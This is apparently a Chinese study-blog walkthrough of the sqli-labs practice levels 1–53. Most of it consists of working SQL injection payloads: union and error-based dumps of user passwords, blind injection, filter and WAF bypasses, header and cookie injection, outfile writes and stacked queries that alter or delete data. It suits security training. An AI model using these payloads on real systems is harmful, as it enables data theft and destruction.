一天5个叭。。。
尽量一天5个叭。。。
2020-1-13
Less-1

题目说明 Please input the ID as parameter with numeric value,所以使用id来注入
?id=1'报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

使用order by查列数,?id=1' order by 4 %23'报错,存在三列

接着进行联合注入,通过回显爆出表名,列名,字段。
这里查询时需要将id查询结果限定为空集,第二个查询结果才能显示出来
查询数据库 ?id=-1' union select 1,group_concat(schema_name),concat_ws(';',schema_name) from information_schema.schemata--+

查询security数据库的表 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询user表的列 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查询数据 ?id=-1' union select 1,concat_ws(';',username,password),3 from users where id=1--+

Less-2
查询?id=1,正常
查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可知单引号影响了闭合,该注入为整数型,只需在Less-1的基础上,将每个payload中的'删除即可
最终payload为?id=-1 union select 1,concat_ws(';',username,password),3 from users where id=1--+

Less-3
查询?id=1,正常
查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可知该处使用')进行闭合,其余步骤与上相同
最终payload为?id=-1') union select 1,concat_ws(';',username,password),3 from users where id=1--+
Less-4
查询?id=1,正常
查询?id=1’,正常
查询?id=1",报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
可知该处使用")进行闭合,其余步骤与上相同
最终payload为?id=-1") union select 1,concat_ws(';',username,password),3 from users where id=1--+
Less-5

查询?id=1,显示You are in...........,判断需要盲注
查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
可以构造payload进行基于bool的盲注,使用脚本进行
此处以查询数据库名为例,其他的类似,只需改url中的payload即可
1 | # coding:utf-8 |
执行结果为security

也可以报错注入,payload为
1 | ?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23 |
Less-6
查询?id=1,显示You are in………..
查询?id=1’,显示You are in………..
查询?id=1",报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
可知该处使用"进行闭合,同样使用bool盲注,注入的脚本只需将Less-5中payload中的’改为”即可,其余步骤与Less-5一样
2020-1-14
Less-7
查询?id=1,显示You are in.... Use outfile......
查询?id=1 and 1=2,显示You are in.... Use outfile......,说明不是数值型注入
查询?id=1',报错You have an error in your SQL syntax
查询?id=1' --+,报错You have an error in your SQL syntax
查询?id=1') --+,报错You have an error in your SQL syntax
查询?id=1')) --+,显示You are in.... Use outfile......,判断参数提交为((‘$id’))
题目又说需要 use outfile
这里我对linux的导出文件不是很熟练,所以换成了win10里用phpstudy搭的sqli-labs环境测试
判断读写权限 ?id=1')) and (select count(*) from mysql.user)>0--+ ,没有报错,说明具有root权限
导出表 ?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\table.txt"--+
导出user表中列名 ?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\column.txt"--+
导出用户名和密码 ?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\data.txt"--+
Less-8-盲注单引号注入
查询?id=1,显示You are in...........
查询?id=1',没有回显
查询?id=' or 1=1--+,显示You are in...........,说明为单引号闭合
直接使用脚本进行基于bool的盲注
1 | import requests |
Less-9-基于时间的GET单引号盲注
无论查询什么,页面均显示 You are in...........
测试?id=1' and sleep(2)--+,发现页面会延时2s回显,说明为基于时间的盲注
使用脚本进行基于时间的盲注
1 | import requests |
Less-10-基于时间的GET双引号盲注
与less-9一样也是基于时间的盲注,不同的是less-9是单引号闭合,此题为双引号闭合
Less-11-基于错误的post单引号注入

此题是一个登录框,先试试万能密码
即Username输入1' or 1=1#,Password为任意值。
登陆成功

思考点
查看源代码,后端的登陆语句为
1 | if(isset($_POST['uname']) && isset($_POST['passwd'])) |
这里使用的是POST请求,只能使用#进行注释
Less-12-基于错误的post双引号注入
构造Username输入1' or 1=1#,Password为任意值,登陆失败。
构造Username输入1" or 1=1#,Password为任意值,报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
构造Username输入1") or 1=1#,Password为任意值,登陆成功
此题闭合方式为 ("$uname")
Less-13-POST单引号变形双注入
构造Username输入1' or 1=1#,Password为任意值,报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
构造Username输入1') or 1=1#,Password为任意值,登陆成功
此题闭合方式为 ('$uname')
Less-14-POST双引号变形双注入
构造Username输入1" or 1=1#,Password为任意值,登陆成功
此题闭合方式为 ('$uname')
2020-1-15
Less-15-基于bool型/时间延迟单引号POST型盲注
构造Username输入1' or 1=1#,Password为任意值,登陆成功
此题闭合方式为'$uname'
Less-16-基于bool型/时间延迟的双引号POST型盲注
构造Username输入1" or 1=1#,Password为任意值,登陆失败
再构造Username输入1") or 1=1#,Password为任意值,登陆成功
此题闭合方式为("$uname")
Less-17-基于错误的更新查询POST注入

构造Username输入1' or 1=1#,Password为任意值,登陆失败

先看看后端源代码再尝试注入
1 | function check_input($value) |
这里使用check_input函数对uname的输入进行过滤,而passwd并没有过滤,又页面提示为PASSWORD RESET,为重置密码界面,所以从密码框尝试注入
能够利用的查询语句为
1 | $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; |
所以,可以使用报错注入用单引号闭合password
爆数据库
1 | username: admin |

爆表
1 | username: admin |

爆列
1 | username: admin |

爆详细数据
1 | username: admin |

产生报错
1 | You can't specify target table 'users' for update in FROM clause |
这是mysql自身的问题不能同时对一个表又select又update,所以我们得构造另外一个表去子查询,同时得初始化数据库
1 | username: admin |

2020-1-16
Level 18-基于错误的用户代理,头部POST注入

页面显示Your IP ADRESS is:172.17.0.1又根据标题可推测为http头部注入
查看后端源代码
1 | $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; |
要登录进去后才能注入,利用的是insert的那一部分语句,使用以下用户名和密码登陆
1 | username:admin |

接着利用user-agent注入
先输入1',会报错MySQL server version for the right syntax to use near '127.0.0.1', 'admin')'
再输入 1' and '1'='1
出现回显并且没有报错
1 | Your User Agent is: 1' and '1'='1 |
直接利用报错注入
1 | 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 |

之后就一步一步利用上一关的payload进行爆表-爆列-包数据的操作
Level-19-基于头部的Referer POST报错注入
从Level-18开始,每一题都需要登陆成功才能完成注入
这里回显在Referer上,所以和上一题差不多,直接将payload放在Refer里报错注入就行
1 | Referer: 1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1 |
Level-20-基于错误的cookie头部POST注入
此题回显在cookie上,
先尝试一下cookie
1 | uname=admin'; |
出现报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1 |
应该是单引号闭合,接下来通过cookie进行报错注入
1 | uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1 |
2020-1-17
Less-21-基于错误的复杂的字符型Cookie注入
此关卡通过查看后端源代码
1 | setcookie('uname', base64_encode($row1['username']), time()+3600); |
发现username这个参数注入的时候经过了base64加密,所以我们注入的payload也得经过base64加密后再输入
先登陆进去,登陆成功页面如下

burp抓包,修改参数(base64加密)进行注入
1 | uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1 |
即payload为
1 | uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICcxJz0nMQ== |

Less-22-基于错误的双引号字符型Cookie注入
同Less-21,只是闭合方式由单引号变成双引号
payload为
1 | uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1 |
Less-23-基于错误的,过滤注释的GET型
又回到使用id来注入了,这里对注释符进行了过滤
1 | $reg = "/#/"; |
这里有两种绕过方法
- 使用union注入( 要构造sql语句闭合前后的单引号 )
1 | ?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)' |
- 使用报错注入
1 | ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1 |
Less-24-二次注入

根据名字可知这是个二次注入的题目,二次注入的题一般都要通过代码审计找出可控点,否则很难注入
通过代码审计,发现最关键的是pass_change.php里面的代码
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' " |
我们可以注册以下用户
1 | username=admin’# |

登陆,修改密码

再登陆就可以修改用户admin的密码

Less-25-过滤了or和and

题目已经告诉是过滤了or和and
再看看后端源代码
1 | function blacklist($id) |
or还有AND都会替换成为"",这里是大小写都会被拦截下来的
这里的绕过方法还挺多的
1 | 大小写变形Or,OR,oR |
payload为
1 | ?id=1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) %23 |
Less-25a-过滤了or和and的盲注
跟上一关卡采用同样的过滤方式,语句变简单了,没有闭合
但是这一关卡不能再用报错注入,因为源码中把报错信息给注释掉了,可以用盲注,也可以用union注入
- union注入
1 | ?id=-1 union select 1,database(),3%23 |
- 二分法盲注
1 | import requests |
注意 :这两关在写到关于information这个单词的时候,需要注意它里面存在or,我们需要双写绕过
2020-1-18
Less-26-过滤了注释和空格的注入
后端源代码
1 | function blacklist($id) |
注释被过滤了,考虑使用闭合单引号注入
空格使用
%0a来绕过or和and依旧双写绕过
payload为
1 | ?id=-1'%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),'3 |
Less-26a-过滤了注释和空格的盲注
跟上一题一样,只是换了一种闭合方式 ('$id')
payload为
1 | ?id=-1')%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),('3 |
Less-27-过滤了union和select
后端源代码
1 | function blacklist($id) |
这时一些sql查询命令被过滤,可以使用双写绕过或者大小写绕过
- 直接查询
1 | ?id=0'%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),'3 |
- 报错查询
1 | ?id=0'and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and'1'='1 |
Less-27a-过滤了union和select的盲注
换成了双引号闭合,其余和上一关一样
payload为
1 | ?id=0"%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),"3 |
或
1 | ?id=0"and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and"1"="1 |
Less-28-基于错误的, 有括号的单引号字符型,过滤了union和select等的注入
和Level-27相比,闭合方式改为 ('$id') ,但此时不能使用报错注入
payload为
1 | ?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3 |
Less-28a-有括号的单引号字符型,过滤了union和select等的盲注
和上一关一样
1 | ?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3 |
Less-29-WAF保护
Less-29-Less-31都是两层服务器架构,参考MySQL注入天书
重点:index.php?id=1&id=2,到底是显示id=1的数据还是显示id=2的?
Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
再查看后端源代码
1 | $qs = $_SERVER['QUERY_STRING']; |
id的值经过java_implimentation()处理看是否符合whitelist()函数的过滤要求,若不符合就检测出攻击,否则就把第二个id的值拼接到sql语句中进行查询。
whitelist()要求传入的参数必须是一位以上的数字
1 | function whitelist($input) |
java_implimentation()则将传入的参数以&为分隔符分为两部分,然后进行遍历,若前两个字符为id则返回后面3到30个字符。
1 | function java_implimentation($query_string) |
所以payload为
1 | ?id=1&id=-1' union select 1,database(),3 %23 |
Less-30-WAF保护
同上,只是改变了闭合的方式
此题闭合方式为双引号闭合
1 | ?id=1&id=-1" union select 1,database(),3 %23 |
Less-31-WAF保护
同上,只是改变了闭合的方式
此题闭合方式为 ("$id")
1 | ?id=1&id=-1") union select 1,database(),3 %23 |
2020-1-19
鸽一天嗷
2020-2-23
鸽了一个月多了,lei了lei了
Less-32-宽字节注入
[宽字节注入参考链接][https://www.cnblogs.com/Rain99-/p/10583406.html]

后端源代码
1 | function check_addslashes($string) |
check_addslashes函数完成对输入的参数进行转义,直接利用单引号闭合然后加上%df就可以了,payload为
1 | ?id=-1%df%27union select 1,database(),3 %23 |
Less-33-宽字节注入
和上面一关一样,唯一不同在于转义函数check,上面一关是作者自己写的,这一关是直接调用了系统的函数
1 | function check_addslashes($string) |
payload为
1 | ?id=-1%df%27union select 1,database(),3 %23 |
Less-34-宽字节post注入
本关改为post型的注入漏洞,同样是将post的内容进行转义处理。
前几关的get型的方式我们是以url 形式提交的,因此数据会通过URLencode,如何将方法用在post 型的注入当中,此处用到一个新的方法。将utf-8 转换为utf-16 或utf-32,例如将‘ 转为utf-16 为♦' ,此时payload为
1 | uname=♦' or 1=1#&passwd=1&submit=Submit |
Less-35-why care for addslashes
这一题根本没有使用任何引号不需要闭合,它的转义也是多余的,直接查询就行,payload为
1 | ?id=-1 union select 1,database(),3 %23 |
Less-36-绕过Mysql过滤
查看后端源代码
1 | function check_quotes($string) |
此关用了mysql_real_escape_string函数进行转义,但依然可以用%df去绕过payload为
1 | ?id=-1%df%27 union select 1,database(),3%23 |
Less-37-MySQL_real_escape_string
查看后端源代码
1 | $uname = mysql_real_escape_string($uname1); |
同样使用mysql_real_escape_string函数进行转义,但使用post类型注入宽字节,payload和Less-34一样
1 | uname=♦' or 1=1#&passwd=1&submit=Submit |
Less-38-堆叠查询
直接单引号闭合就可以,payload为
1 | ?id=-1' union select 1,database(),3%23 |
还可以对数据库进行操作
1 | ?id=1'';insert into users(id,username,password) values('233','no-timing','no-timing')--+ |

Less-39-堆叠查询
同上一关,id不闭合
1 | ?id=-1 union select 1,database(),3%23 |
Less-40-堆叠查询
(‘$id’)闭合
1 | ?id=-1') union select 1,database(),3%23 |
Less-41-堆叠查询 盲注
同Less-39,id不闭合,无错误回显
union注入
1 | id=-1 union select 1,database(),3%23 |
盲注
1 | ?id=1 and ascii(substr(database(),1,1))>114 %23 |
Less-42-基于错误的堆叠查询
post注入,查看源码发现uname进行了过滤,故对passwd进行注入
1 | $username = mysqli_real_escape_string($con1, $_POST["login_user"]); |
payload为
1 | uname = yzz |
直接删库
Less-43-堆叠查询
同Less-42,闭合为(‘$id’)
Less-44-堆叠查询 盲注
单引号闭合,无报错回显,payload为
1 | uname = yzz |
Less-45-堆叠查询 盲注
同Less-43,无报错回显
2020-2-24
Less-46-order by排序注入
[order by注入参考链接][https://www.jianshu.com/p/fcae21926e5c]
后端mysql查询源码为
1 | $sql = "SELECT * FROM users ORDER BY $id"; |
order by有三种利用方法
1 | 直接添加注入语句 ?sort=(select ******) |
这一关可以直接利用报错注入,payload为
1 | ?sort=1 and extractvalue(1,concat(0x25,(select password from users where id=3))) |
也可以使用盲注,利用表格的最后一行区分,脚本如下
1 | import requests |
Less-47-单引号order by排序注入
在上一关基础上,使用单引号闭合payload即可
1 | ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23 |
Less-48-order by排序盲注
使用Less-46的盲注脚本就可以
Less-49-order by 字符型盲注
同Less-46脚本,采用时间盲注
1 | import requests |
Less-50-数字型order by注入与堆叠注入
直接报错查询
1 | ?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) |
还可以对数据库操作
1 | ?sort=1;create table no-timing like users |
Less-51-字符型order by注入与堆叠注入
同上,使用单引号闭合即可
1 | ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) |
Less-52-数字型order by注入与堆叠盲注
同Less-50,只不过无回显
Less-53-字符型order by注入与堆叠注入
同Less-51,只不过无回显